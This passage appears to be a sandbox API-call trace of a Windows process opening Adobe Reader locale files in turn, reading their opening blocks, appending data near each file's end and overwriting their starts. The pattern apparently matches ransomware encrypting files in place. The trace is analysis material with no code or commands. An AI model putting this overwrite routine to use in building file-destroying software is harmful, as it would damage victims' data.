lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e800 [0038.150] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.150] ReleaseMutex (hMutex=0x128) returned 1 [0038.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.FRA", lpUsedDefaultChar=0x0) returned 12 [0038.150] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.153] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6d800 [0038.153] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.156] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6d800 [0038.157] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.157] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.157] WriteFile (in: hFile=0x184, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.157] CloseHandle (hObject=0x184) returned 1 [0038.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.158] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.158] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x14c00 [0038.158] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.158] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.158] ReleaseMutex (hMutex=0x128) returned 1 [0038.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.FRA", lpUsedDefaultChar=0x0) returned 18 [0038.158] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.162] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x13c00 [0038.163] ReadFile (in: hFile=0x184, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x13c00 [0038.164] WriteFile (in: hFile=0x184, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.165] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.165] WriteFile (in: hFile=0x184, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.165] CloseHandle (hObject=0x184) returned 1 [0038.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.165] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.165] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9850 [0038.166] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.166] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.166] ReleaseMutex (hMutex=0x128) returned 1 [0038.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.166] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.166] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8850 [0038.170] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8850 [0038.170] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.170] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.170] CloseHandle (hObject=0x184) returned 1 [0038.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Checkers.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\checkers.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1ea00 [0038.177] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.177] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.177] ReleaseMutex (hMutex=0x128) returned 1 [0038.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.HRV", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.HRV", lpUsedDefaultChar=0x0) returned 12 [0038.177] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.182] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1da00 [0038.182] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.184] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1da00 [0038.184] WriteFile (in: hFile=0x184, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.184] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.184] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.184] CloseHandle (hObject=0x184) returned 1 [0038.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\RdLang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\rdlang32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.185] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.185] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x14a200 [0038.185] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.185] ReleaseMutex (hMutex=0x128) returned 1 [0038.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.185] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HRV", lpUsedDefaultChar=0x0) returned 12 [0038.185] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0038.188] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.189] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x149200 [0038.189] ReadFile (in: hFile=0x184, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.191] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x149200 [0038.192] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.192] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.192] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0038.192] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.192] CloseHandle (hObject=0x184) returned 1 [0038.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.193] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.194] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e00 [0038.194] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.194] ReleaseMutex (hMutex=0x128) returned 1 [0038.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.HRV", lpUsedDefaultChar=0x0) returned 11 [0038.194] ReadFile (in: hFile=0x184, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.197] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e00 [0038.197] ReadFile (in: hFile=0x184, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.197] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e00 [0038.197] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.198] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.198] WriteFile (in: hFile=0x184, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.198] CloseHandle (hObject=0x184) returned 1 [0038.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.198] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.198] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa200 [0038.198] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.198] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.198] ReleaseMutex (hMutex=0x128) returned 1 [0038.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.HUN", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.HUN", lpUsedDefaultChar=0x0) returned 11 [0038.199] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.489] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9200 [0038.489] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.489] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9200 [0038.490] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.490] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.490] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.490] CloseHandle (hObject=0x184) returned 1 [0038.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Search.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\search.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.490] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.490] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6000 [0038.490] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.490] ReleaseMutex (hMutex=0x128) returned 1 [0038.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.HUN", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.HUN", lpUsedDefaultChar=0x0) returned 10 [0038.491] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.492] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0038.492] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.493] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, 